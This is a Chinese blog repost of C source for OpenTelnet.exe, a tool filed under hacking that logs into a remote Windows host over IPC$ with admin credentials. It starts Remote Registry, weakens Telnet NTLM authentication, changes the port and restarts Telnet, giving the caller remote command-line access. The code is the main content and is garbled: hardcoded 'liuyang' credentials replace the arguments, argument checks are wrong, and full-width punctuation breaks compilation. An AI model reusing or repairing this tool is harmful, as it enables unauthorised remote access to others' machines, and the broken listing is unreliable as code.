opentelnet.exe源码（C语言版）

最新推荐文章于 2016-02-24 11:13:39 发布
最新推荐文章于 2016-02-24 11:13:39 发布
阅读量729 收藏 1
点赞数
分类专栏： 黑客攻击与信息安全

// OpenTelnet.exe \\\\server username password NTLMAuthtelnetport

#include <stdio.h>
#include <assert.h>
#include <windows.h>
#include <Winnetwk.h>
#include <Winreg.h>
#include <Shlwapi.h>

#pragma comment(lib, “Advapi32.lib”)
#pragma comment(lib, “Mpr.lib”)

SC_HANDLE g_schSCManager；
HKEY g_hKey；
DWORD g_DefaultTelnetStartType；
DWORD g_DefaultRegistryStartType；
LPBYTE g_lpDefaultTelnetNTLM；
LPBYTE g_lpDefaultTelnetPort；

void Usage(char*)；
int RestartTelnet()；
int StartRemoteRegistry()；
int MyStartService(SC_HANDLE, char*)；


int main(int argc, char* argv[])
{
int nRetCode；
char szIpc[50] = “”；
HKEY hKey；
LPSTR lpUserName, lpPassword；
NETRESOURCE NET；

DWORD dwNTLM, dwTelnetPort；

Usage(argv[0])；    //显示欢迎及帮助信息
if (argc < 5)
return 0；

sprintf (szIpc, “%s\\\\ipc$”, argv[1])；
lpUserName = liuyang；   //用户名
lpPassword = liuyang；   //密码

NET.lpLocalName = NULL；
NET.lpRemoteName = szIpc；
NET.dwType = RESOURCETYPE_ANY；
NET.lpProvider = NULL；

printf (“Connecting %s”,argv[1])；

ReConnect:

//清除与目标已经建立的IPC连接
nRetCode = WNetCancelConnection2(szIpc, CONNECT_UPDATE_PROFILE, TRUE)；
if (nRetCode == NO_ERROR)
printf (“Canncel Successfully!\\n”)；

//与目标建立IPC连接
nRetCode = WNetAddConnection2(&NET, lpPassword, lpUserName, CONNECT_INTERACTIVE)；
if (nRetCode == ERROR_ALREADY_ASSIGNED || nRetCode == ERROR_DEVICE_ALREADY_REMEMBERED)
{
printf (“Already conneted to the server!\\n”)；
printf (“Now re-connecting the server\\n”)；
goto ReConnect；    //如果已经有了IPC连接，则返回ReConnect继续尝试
}
else if (nRetCode == NO_ERROR)
printf (“Successfully!\\n”)； //建立连接成功
else
{
printf (“\\n\\tErr:”)；
switch (nRetCode)        //错误处理
{
case ERROR_ALREADY_ASSIGNED:


case ERROR_ACCESS_DENIED:
   printf (“ERROR_ACCESS_DENIED\\n”)；
   break；
case ERROR_BAD_NET_NAME:
   printf (“ERROR_BAD_NET_NAME\\n”)；
   break；
default:
   printf (“CONNECT ERR:%d!\\n”,GetLastError())；
   break；
}
return 0；
}

//打开目标的服务控制管理
g_schSCManager = OpenSCManager(argv[1], NULL, SC_MANAGER_ALL_ACCESS)；
if (g_schSCManager == NULL)
{
printf (“Open SCManager failed!\\n”)；
return 0；
}

//打开远程注册表服务
if (!StartRemoteRegistry())
{
printf (“All Process Failed!\\n”)；
return 0；
}

//连接远程注册表
if (!(RegConnectRegistry((LPCTSTR) argv[1], HKEY_LOCAL_MACHINE, &g_hKey) == ERROR_SUCCESS))
{
printf (“Connect remote registry failed!\\n”)；
return 0；
}

//打开telnet服务的注册表键值
if (!(RegOpenKeyEx(g_hKey, “SOFTWARE\\\\Microsoft\\\\TelnetServer\\\\1.0”, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS))
{
printf (“Open key failed!\\n”)；
return 0；
}

//读取注册表中telnet的原始值NTLM和Port
g_lpDefaultTelnetNTLM = (LPBYTE) LocalAlloc(LPTR, 50)；   //分配空间
g_lpDefaultTelnetPort = (LPBYTE) LocalAlloc(LPTR, 50)；
DWORD dwDataSize = 50；
//将NTLM键值读取到已分配空间的g_lpDefaultTelnetNTLM中，默认为2，这是为了恢复telnet的目的做的
if (!(RegQueryValueEx(hKey, “NTLM”, NULL, NULL, g_lpDefaultTelnetNTLM, &dwDataSize) == ERROR_SUCCESS))
{
printf (“Read NTLM failed!\\n ”)；
return 0；
}
//将TelnetPort键值读取到g_lpDefaultTelnetPort中，默认为23，这是为了恢复telnet的目的做的
if (!(RegQueryValueEx(hKey, “TelnetPort”, NULL, NULL, g_lpDefaultTelnetPort, &dwDataSize) == ERROR_SUCCESS))
{
printf (“Read port failed!\\n ”)；
return 0；
}

//编辑NTLM和端口值
dwNTLM = atoi(argv[4])；
if (dwNTLM >= 3)
{
dwNTLM = 1；
}
dwTelnetPort = atoi(argv[5])；

//设置NTLM的键值
if (!(RegSetValueEx(hKey, “NTLM”, 0, REG_DWORD, (LPBYTE) &dwNTLM, sizeof(DWORD)) == ERROR_SUCCESS))
{
printf (“Set NTLM value failed!”)；
return 0；
}

//设置端口值
RegSetValueEx(hKey, “TelnetPort”, 0, REG_DWORD, (LPBYTE) &dwTelnetPort, sizeof(DWORD))；

//重启动telnet服务
nRetCode = RestartTelnet()；

if (nRetCode)
{
printf (“\\nBINGLE!!!Yeah!!\\n”)；
printf (“Telnet Port is %d. You can try:\\”telnet ip %d\\“, to connect the server!”, dwTelnetPort, dwTelnetPort)；
}

//现在已经开启了telnet服务，添加几个键值来保存修改以前的注册表设置，可以用resumetelnet来恢复
if (!(RegSetValueEx(hKey, “default_NTLM”, 0, REG_DWORD, g_lpDefaultTelnetNTLM, sizeof(DWORD)) == ERROR_SUCCESS))
{
printf (“Set defaultNTLM value failed!”)；
return 0；
}
if (!(RegSetValueEx(hKey, “default_Port”, 0, REG_DWORD, g_lpDefaultTelnetPort, sizeof(DWORD)) == ERROR_SUCCESS))
{
printf (“Set defaultPort value failed!”)；
return 0；
}
if (!(RegSetValueEx(hKey, “default_TelnetStart”, 0, REG_DWORD, (LPBYTE) &g_DefaultTelnetStartType, sizeof(DWORD)) == ERROR_SUCCESS))
{
printf (“Set defaulttelnetstart value failed!”)；
return 0；
}
if (!(RegSetValueEx(hKey, “default_RegistryStart”, 0, REG_DWORD, (LPBYTE) &g_DefaultRegistryStartType, sizeof(DWORD)) == ERROR_SUCCESS))
{
printf (“Set defaultregistrystart value failed!”)；
return 0；
}

RegCloseKey(hKey)；
RegCloseKey(g_hKey)；   //关闭打开的注册表键

//关闭服务控制管理SCManager
CloseServiceHandle(g_schSCManager)；

//断开远程ipc连接
printf (“\\nDisconnecting server”)；
nRetCode = WNetCancelConnection2(argv[1], CONNECT_UPDATE_PROFILE, TRUE)；
if (nRetCode == NO_ERROR)
printf (“Successfully!\\n”)；
else
printf (“Failed!\\n”)；

return 0；
}

void Usage(char* pcAppName)            //显示欢迎及帮助信息
{
printf (“*******************************************************\\n”)；
printf (“Remote Telnet Configure, by refdom\\n”)；
printf (“Email: ”)；
printf (“%s\\n\\n”, pcAppName)；
printf (“Usage:OpenTelnet.exe \\\\\\\\server username password NTLMAuthtelnetport\\n”)；
printf (“*******************************************************\\n”)；
return；
}

int RestartTelnet()                   //重启动telnet服务
{
DWORD     dwWaitTime；
DWORD     dwConfigSize；
SC_HANDLE    schTelnetService；
SERVICE_STATUS   ssTelnetStatus；
LPQUERY_SERVICE_CONFIG lpTelnetConfig；

printf (“\\nNOTICE!!!!!!\\n”)；
printf (“The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23\\n\\n”)；

//打开telnet服务
schTelnetService = OpenService(g_schSCManager, “TlntSvr”, SERVICE_ALL_ACCESS)；
if (schTelnetService == NULL)
{
printf (“Open service failed!\\n”)；
return 0；
}

lpTelnetConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024)；
if (lpTelnetConfig == NULL)
{
printf (“Alloc memory failed!\\n”)；
return 0；
}

//获取当前telnet服务的配置参数
if (!QueryServiceConfig(schTelnetService, lpTelnetConfig, 1024, &dwConfigSize))
{
printf (“Query service congfig failed!\\n”)；
return 0；
}

//保存默认的telnet服务启动类型
g_DefaultTelnetStartType = lpTelnetConfig->dwStartType；

//将telnet服务的启动类型改为进程通过调用StartService来启动
if (lpTelnetConfig->dwStartType == SERVICE_DISABLED)
{
if (!ChangeServiceConfig(schTelnetService,
        SERVICE_NO_CHANGE,
        SERVICE_DEMAND_START,
        SERVICE_NO_CHANGE,
        NULL, NULL, NULL, NULL, NULL, NULL, NULL))
{
   printf (“Change service config failed!\\n”)；
   return 0；
}
}

//获取当前telnet服务的状态
if (!(QueryServiceStatus(schTelnetService, &ssTelnetStatus)))
{
printf (“Query service status failed!\\n”)；
return 0；
}

//如果telnet服务当前状态不是stop的话，停止服务
if (ssTelnetStatus.dwCurrentState != SERVICE_STOPPED && ssTelnetStatus.dwCurrentState != SERVICE_STOP_PENDING)
{
printf (“Stopping telnet service ”)；
if (!(ControlService(schTelnetService, SERVICE_CONTROL_STOP, &ssTelnetStatus)))
{
   printf (“Control telnet service status failed!\\n”)；
   return 0；
}

//sleep一段时间来等待telnet服务的停止
dwWaitTime = ssTelnetStatus.dwWaitHint / 10；
if( dwWaitTime < 1000 )
   dwWaitTime = 1000；
else if ( dwWaitTime > 10000 )
   dwWaitTime = 10000；

Sleep(dwWaitTime)；
if (!QueryServiceStatus(schTelnetService, &ssTelnetStatus))
{
   printf (“Query service status failed!\\n”)；
}

if ( ssTelnetStatus.dwCurrentState == SERVICE_STOPPED || ssTelnetStatus.dwCurrentState == SERVICE_STOP_PENDING)
{
   printf (“Telnet service is stopped successfully!\\n”)；
}
else
{
   printf (“Stopping telnet service failed!\\n”)；
   return 0；
}
}    //此时telnet服务已经成功停止

//调用MyStartService来重新启动telnet服务

if (!MyStartService(schTelnetService, “telnet”))
return 0；

CloseServiceHandle(schTelnetService)；   //关闭服务句柄
return 1；
}

int StartRemoteRegistry()          //启动远程注册表服务
{
SC_HANDLE schRegistryService；
SERVICE_STATUS ssRegistryStatus；
LPQUERY_SERVICE_CONFIG lpRegistryConfig；
DWORD dwConfigSize；

lpRegistryConfig = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 1024)；
if (lpRegistryConfig == NULL)
{
printf (“Alloc memory failed!\\n”)；
return 0；
}

//打开远程注册表服务
schRegistryService = OpenService( g_schSCManager, “RemoteRegistry”, SERVICE_ALL_ACCESS)；
if (schRegistryService == NULL)
{
printf (“Open remote registry service failed!\\n”)；
return 0；
}

//查询当前服务状态
if (!QueryServiceConfig(schRegistryService, lpRegistryConfig, 1024, &dwConfigSize))
{
printf (“Query registry service config failed!\\n”)；
return 0；
}

//判断当前服务启动类型，如果是禁用则改变为通过StartService来启动服务
g_DefaultRegistryStartType = lpRegistryConfig->dwStartType；
if (g_DefaultRegistryStartType == SERVICE_DISABLED)
{
if (!ChangeServiceConfig(schRegistryService,
        SERVICE_NO_CHANGE,
        SERVICE_DEMAND_START,
        SERVICE_NO_CHANGE,
        NULL, NULL, NULL, NULL, NULL, NULL,NULL))
{
   printf (“Change registry service config failed!\\n”)；
   return 0；
}
}

//查询服务状态
if (!QueryServiceStatus(schRegistryService, &ssRegistryStatus))
{
printf (“Query remote registry service failed!\\n”)；
return 0；
}

//如果当前服务并没有启动，则调用MyStartService来启动
if (ssRegistryStatus.dwCurrentState != SERVICE_RUNNING)
{
if (!MyStartService(schRegistryService, “remote registry”))
   return 0；
}
CloseServiceHandle(schRegistryService)；
return 1；
}

int MyStartService(SC_HANDLE schService, char* szServiceName)   //启动指定的服务
{
DWORD dwWaitTime；
DWORD dwOldCheckPoint；
DWORD dwStartTickCount；
SERVICE_STATUS ssStatus；

//调用StartService启动服务
printf (“Starting %s service\\n”, szServiceName)；
if (!(StartService(schService, 0, NULL)))
{
printf (“Starting %s service failed!\\n”, szServiceName)；
return 0；
}

//获取当前服务状态
if (!(QueryServiceStatus(schService, &ssStatus)))
{
printf (“Query %s service status failed!\\n”,szServiceName)；
// return ；
}

    dwStartTickCount = GetTickCount()；    //得到进程运行时间
    dwOldCheckPoint = ssStatus.dwCheckPoint；

while ( ssStatus.dwCurrentState == SERVICE_START_PENDING)
{
dwWaitTime = ssStatus.dwWaitHint / 10；
        if( dwWaitTime < 1000 )
            dwWaitTime = 1000；
        else if ( dwWaitTime > 10000 )
            dwWaitTime = 10000；

Sleep(dwWaitTime)；

        //重新再查询状态

        if (!QueryServiceStatus(schService, &ssStatus))
            break；

        if ( ssStatus.dwCheckPoint > dwOldCheckPoint )
        {
            //服务启动中
            dwStartTickCount = GetTickCount()；
            dwOldCheckPoint = ssStatus.dwCheckPoint；
        }
        else
        {
            if(GetTickCount()-dwStartTickCount > ssStatus.dwWaitHint)
            {
                //在建议等待的时间内服务没有启动
                break；
            }
        }
}

if ( ssStatus.dwCurrentState == SERVICE_RUNNING )
{
printf (“%s service is started successfully! %s service is running!\\n”, szServiceName, szServiceName)；
}
else
{
printf (“%s service is not started!\\n”, szServiceName)；
return 0；
}

return 1；
}

Telnet源代码
12-03
很好的 telnet后台程序，方便程序员开发，封装层次清晰
opentelnet.exe 源代码
benny5609的专栏
02-28 3551
// OpenTelnet.exe ////server username password NTLMAuthtelnetport#include #include #include #include #include #include #pragma comment(lib, “Advapi32.lib”)#pragma comment(lib, “Mpr.lib”)SC_HANDL
工具opentelnet源代码
[木子]的专栏
07-11 2976
工具opentelnet源代码 作者： 　来源于： 　发布时间：2006-1-2 23:08:23 /////////////////////////////////////////////////////////////////////////
opentelnet
11-23
去除html认证 opentelnet
openTelnet.zip
11-01
2. **OpenTelnet.exe**：这个文件很可能是这个工具包的主要部分，设计用于开启目标主机的Telnet服务。Telnet是一种较旧的协议，允许远程终端连接到另一台设备，进行命令行交互，但因其明文传输数据的特性，安全性较...
openTelent多人在问怎么远程启动TELNET，同时，按照很多人使用小榕的流光工具
05-22
这两个工具OpenTelnet.exe是用来启动远程服务器的Telnet的，Resumetelnet.exe是用来把修改了的配置都返回到默认配置上去，关闭Telnet服务等。 使用这两个程序，你必须先获得管理员密码和帐号,同时服务器开放IPC$...
telnet服务器源码
08-25
telnet服务器源码，本人已经用过，不错的资源
telnet源码（客户端，服务端，linux系统）
03-27
telnet源码包， 包括客户端，服务端，编译没有问题，测试可以使用，对于像了解telnet有很大帮助
telnet 客户端服务器源码
03-05
绝密资源, unix平台 telnet客户端服务器源码.
Telnet服务端和客户端源代码
04-08
Telnet服务端和客户端源代码
linux下telnet源代码
12-06
该程序是linux下telnet的完整实现，编译已经通过。喜欢linux程序设计的朋友可以研究一下。
Telnet服务器端最简单实例源码
04-09
一个Telnet服务器端完整的最简单实例源码在VC++6.0、7.0、8.0下测试通过Made by Lei FANE-mail: ielnaf@qq.com
opentelnet远程开放软件完整版
07-09
可以进行远程开放telnet服务，现在共享出来。
telnet服务器源码安装
xiaoxiaozhu2010的专栏
01-13 4121
一、ftp server 选用wu-ftp 1。首先到ftp://ftp.wu-ftpd.org/pub/wu-ftpd/下载wu-ftpd-2.6.2.tar.Z 2。把wu-ftp解压缩后，进入解压缩的目录，执行export CC=arm-linux-gcc 3。执行./configure --host=arm-linux 4。执行make，编译完成后，在bin目
telnet源码分析
09-16 3069
telnet是一个telnet客户端程序 下载地址：http://www.busybox.net/ 解压缩后进入busybox目录 make defconfig make make install 然后会生成 _install 目录，里面就是编译好的可执行文件 源码
telnet客户端源码 vb6
编程之路
02-24 2397
telnet的源代码 回复于 2000-12-21 21:28:00 得分 0 我有TELNET的VB源代程，如下：其中SECOND FORM、MAIN FORM等是注解 Second form Option Explicit Private Sub Check1_Click() If Check1.Value = 1 Then frmTelnet.Tra
c语言的telnet源码
04-25
c语言的telnet源码，可参考学习，不错的。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值